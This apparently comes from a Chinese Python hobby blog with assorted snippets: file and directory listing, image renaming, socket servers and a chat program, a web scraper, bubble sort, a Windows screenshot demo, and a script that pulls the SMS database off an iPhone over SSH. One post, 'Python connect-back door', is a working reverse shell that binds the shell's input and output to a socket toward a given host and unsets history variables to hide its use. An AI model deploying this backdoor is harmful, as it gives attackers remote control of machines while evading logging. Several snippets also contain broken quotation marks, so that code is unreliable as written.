Python

人生苦短,我用Python

Python 操作文件及目录

一、python 文件操作

1.import glob 目录操作

查看目录内容:
filelist=glob.glob(‘*.*’)
filelist=glob.glob(‘c:\*’)
查看指定类型的文件:
filelist=glob.glob(‘c:\*.sys’)
为了显示一个目录中的全部文件,可以使用如下所示的os.listdir函数:


  files = os.listdir(r’C:\hpl\scripting\src\py\intro’) #适用于 Windows
  files = os.listdir(’/home/hpl/scripting/src/py/intro’) # 适用于Unix
    files = os.listdir("d:\python26")
    files=os.listdir("c:\\")
# 跨平台版本:
  files = os.listdir(os.path.join(os.environ[’scripting’],
  ’src’, ’py’, ’intro’))
  files = os.listdir(os.curdir) # 当前目录中的所有文件
  files = glob.glob(’*’) + glob.glob(’.*’)

二、测试文件类型

Read More »

python 批量图片重命名脚本

经常从网上保存图片的时候都是随手另存为,保存图片的目录凌乱不堪。
写了个脚本按照文件保存的顺序进行排序,并按照保存的时间顺序进行重命名,这样图片基本可以按照分类保存,即一类的图片是连续保存的。


#!/usr/bin/env/python
#pic sort with create time for python 2.0
''' This is a tool for sort and  rename the pictures by create time
test in python 2.6 ,windows xp
--------------------------

http://d-up.org/man

zidane
--------------------------
'''
import os
def renameEx(old,new):
    print 'begin to rename',old,new
    new2=''
    for i in range(0,len(new)-1,2):
        a=new[i:i+2]
        if a!='\xa1@':
            new2+=a;
    print 'new name =',new2
    if new2!=old:
        os.rename(old,new2)
        print 'rename',old,'to',new2

def picsort(dir):
    cwd=dir
    os.chdir(cwd)
    path=dir+"\\"
    file_dir=os.listdir(cwd)
    files=[]
    dirs=[]
    time_file=[]
    ext = ('.jpg','.gif','.bmp','png')
    fileCount=0
    picCount=0
    dirCount=0
#list files and dirs in 'file_dir'
    for eachOne in file_dir:
        if os.path.isfile(eachOne):
            #filefull=path+eachOne
            files.append(eachOne)
            fileCount+=1
        else:
            dir_full=path+eachOne
            dirs.append(dir_full)
            dirCount+=1
    print "there have %d files" %fileCount,
    print "and %d directory" %dirCount
    print "****************************"
 #list pics in 'files'
    for eachPic in files:
        if os.path.splitext(eachPic)[1] in ext:
            timeTemp=os.path.getmtime(eachPic)
            time_file.append([timeTemp,eachPic])
            picCount+=1
        else:
            files.remove(eachPic)

    time_file.sort()
    #rename the files
    file_name=1
    for eachOne in time_file:
        print eachOne
        print "------------"
        old_name,f_ext=os.path.splitext(eachOne[1])
        newname="%05d" %file_name
        newname+=f_ext
        os.rename(eachOne[1],newname)
        file_name+=1

    for eachOne in dirs:
        print eachOne
        picsort(eachOne)

if __name__=="__main__":
    dir_path=raw_input("Enter the dir name:")
    picsort(dir_path)
    print "All pic have sorted!!"

python-SocketServer-基本使用


#!/usr/bin/env python
from SocketServer import (TCPServer as TCP,StreamRequestHandler as SRH)
from time import ctime

HOST = ”
PORT = 36899
ADDR=(HOST,PORT)

class MyRequestHandler(SRH):
    def handle(self):
        print ‘….connected from ‘,self.client_address
        self.wfile.write(‘[%s] %s ‘% (ctime(),self.rfile.readline()))

tcpServ = TCP(ADDR,MyRequestHandler)
print ‘Serverice start\n,waitting for connection’
try :
    tcpServ.serve_forever()
except KeyboardInterrupt,e:
    print ‘bye’

python 读取iPhone短信

法国佬写的读取iPhone短信的python工具,学习了


#!/usr/bin/env python

import socket
import sys
import os
import paramiko
from pysqlite2 import dbapi2 as sqlite

ip = ''
port = 22
username = ''
password = ''
sms_remote = '/private/var/mobile/Library/SMS/sms.db'
local_file = '/home/cloud/coding/Python/iphonesms/'

def start():
	print ">> iPhoneSMS v0.1 by cloud : http://blog.madpowah.org"

#Function which dl the sms db on the iphone
def dlsms():
	if (len(sys.argv) == 4):
		ip = sys.argv[1]
		username = sys.argv[2]
		password = sys.argv[3]
	else:
		print "Usage : ./iphonesms   "
		print "Exemple : ./iphonesms 192.168.0.2 root monpass"
		sys.exit(0);

	print 'Downloading SMS db on :', ip, '...',
	t = paramiko.SSHClient()
	t.set_missing_host_key_policy(paramiko.AutoAddPolicy())
	t.load_system_host_keys()
	t.connect(ip, port=port, username=username, password=password)
	ftp = t.open_sftp()
	try:
		sms_file_ok = local_file + ip + '-sms.db'
		ftp.get(sms_remote, sms_file_ok)
		print "SMS downloaded ..."
	except:
		print "No SMS :(  ..."

	return sms_file_ok

#Connection to the Sqlite DB
def connexionDB(smslocal):
	try:
		connexion = sqlite.connect(smslocal)
		cursor = connexion.cursor()
	except:
		print "Error connecting Sqlite DB"

	return cursor

def checkLastSms(smslocal):

	cursor = connexionDB(smslocal)
	i = 1
	for row in cursor.execute("select * from message where read='0'"):
		print "Message %d" % i,
		print row[1],
		print row[3]

	return 0

def main():
	start()
	smslocal = dlsms()
	checkLastSms(smslocal)
	os.remove(smslocal)

	return 0

if __name__ == '__main__':
	main()

python 抓取糗事百科更新

很有意思,抓取糗事百科的前100个


#coding=utf-8
#需要BeautifulSoup)支持:http://crummy.com/software/BeautifulSoup

import urllib
import urllib2
from xml.sax.saxutils import unescape
from BeautifulSoup import BeautifulSoup          # For processing HTML

def formalize(text):
    result = ''
    lines = text.split(u'\n')
    for line in lines:
        line = line.strip()
        if len(line) == 0:
            continue
        result += line + u'\n\n'
    return result

outfile = open("qiushi.txt", "w")
count = 0
for i in range(1, 101):
    url = "http://qiushibaike.com/qiushi/best/all/page/%d" % i
    data = urllib2.urlopen(url).readlines()
    soup = BeautifulSoup("".join(data))
    contents = soup.findAll('div', "content")
    stories = [str(text) for text in contents]
    for story in stories:
        count += 1
        print "processing page %d, %d items added" % (i, count)
        minisoup = BeautifulSoup(story)
        text = ''.join([e for e in minisoup.recursiveChildGenerator() if isinstance(e, unicode)])
        text = urllib.unquote(unescape(text, {'"':'"'}))
        text = formalize(text).encode("utf-8")
        print >> outfile, '-' * 20 + " %05d " % count + '-' * 20 + "\n"
        print >> outfile, text + "\r\n"
outfile.close()


Python聊天程序

Python 核心编程 书后答案

半双工聊天程序 16-7题

#!/usr/bin/env python
#chat server 半双工聊天程序,服务端
from socket import *

########################################################################
class chatS:
 """www.d-up.org   python爱好者"""

 #----------------------------------------------------------------------

 def __init__(self,port):
  """Constructor"""
  self.serSock = socket(AF_INET,SOCK_STREAM)
  self.serSock.bind(('',port))
  self.serSock.listen(1)

  print 'chat server start!!'

 def run(self):
  while 1:
   self.cliSock,(addr,port1) = self.serSock.accept()
   print '%s %s connected'% (addr,port1)
   print '-----------------------------------'
   while 1:

    ss = self.cliSock.recv(1024)
    if not ss:
     print '%s %s off line'% (addr,port1)
     break
    print '%s %s say: %s' % (addr,port1,ss)
    ss= raw_input('>')
    self.cliSock.send(ss)
   print '-----------------------------------'
   self.cliSock.close() 

chatSer = chatS(3557)
chatSer.run()

下面是客户端:


#!/usr/bin/python
from socket import *
import sys

if __name__=="__main__":
    port = int(sys.argv[1])
    host= '192.168.1.117'
    ADDR=(host,port)
    cliSock= socket(AF_INET,SOCK_STREAM)
    cliSock.connect(ADDR)
    print 'Connect ready!\n--------------------'
    while 1:
        ss = raw_input('>')
        if not ss:
            break
        cliSock.send(ss)
        ss=cliSock.recv(1024)
        if(ss == 'bye'):
            print 'server say bye'
            break
        print "%s  say: %s" %(host,ss)
        

Python-冒泡排序


#BubbleSort.py  used python3.1 or python 2.x
def bubble(str):
    tmplist = list(str)
    count = len(tmplist)
    for i in range(0,count-1):
        for j in range(0,count-1):
            if tmplist[j] > tmplist[j+1]:
                tmplist[j],tmplist[j+1] = tmplist[j+1],tmplist[j]
    return tmplist

#useage:
str = "zbac"
print(bubble(str))     # ['a', 'b', 'c', 'z']
number=[16,134,15,1]
print(bubble(number))  # [1, 15, 16, 134]

Python Windows 截屏demo

需要使用到Python的一个图像库:

Python Imaging Library (PIL)

# -*- coding: cp936 -*-
import time,Image
#由于Image 库只支持windows,所以该方法Linux下无效
import os, win32gui, win32ui, win32con, win32api

def window_capture(dpath):
”’
截屏函数,调用方法window_capture(‘d:\\’) ,参数为指定保存的目录
返回图片文件名,文件名格式:日期.jpg 如:2009328224853.jpg
”’
hwnd = 0
hwndDC = win32gui.GetWindowDC(hwnd)
mfcDC=win32ui.CreateDCFromHandle(hwndDC)
saveDC=mfcDC.CreateCompatibleDC()
saveBitMap = win32ui.CreateBitmap()
MoniterDev=win32api.EnumDisplayMonitors(None,None)
w = MoniterDev[0][2][2]
h = MoniterDev[0][2][3]
#print w,h   #图片大小
saveBitMap.CreateCompatibleBitmap(mfcDC, w, h)
saveDC.SelectObject(saveBitMap)
saveDC.BitBlt((0,0),(w, h) , mfcDC, (0,0), win32con.SRCCOPY)
cc=time.gmtime()
bmpname=str(cc[0])+str(cc[1])+str(cc[2])+str(cc[3]+8)+str(cc[4])+str(cc[5])+‘.bmp’
saveBitMap.SaveBitmapFile(saveDC, bmpname)
Image.open(bmpname).save(bmpname[:-4]+“.jpg”)
os.remove(bmpname)
jpgname=bmpname[:-4]+‘.jpg’
djpgname=dpath+jpgname
copy_command = “move %s %s % (jpgname, djpgname)
os.popen(copy_command)
return bmpname[:-4]+‘.jpg’

#调用截屏函数
window_capture(‘d:\\)

Python connect-back door

#!/usr/bin/python
import sys
import os
import socket
import pty

shell = “/bin/sh”

def usage(programname):
print “python connect-back door”
print “Usage: %s <conn_back_ip> <port>” % programname

def main():
if len(sys.argv) !=3:
usage(sys.argv[0])
sys.exit(1)

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

try:
s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))
print “[+]Connect OK.”
except:
print “[-]Can’t connect”
sys.exit(2)

os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
global shell
os.unsetenv(“HISTFILE”)
os.unsetenv(“HISTFILESIZE”)
pty.spawn(shell)
s.close()

if __name__ == “__main__”:
main()

Python Socket 处理连接超时

#/usr/bin/python
#coding:gb2312
import socket,sys
import time
s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
IP=socket.gethostbyname(socket.gethostname())
s.settimeout(30) #设置超时
s.bind((IP,1080))
print “等待数据中。。。。”
while 1:
    try:
        s.settimeout(30)
        d,a=s.recvfrom(8192)
        print %s%s发来数据 :%s%(a,time.ctime(),d)
    except socket.timeout:
        print “连接超时!”
s.close()
From - http://d-up.org/man/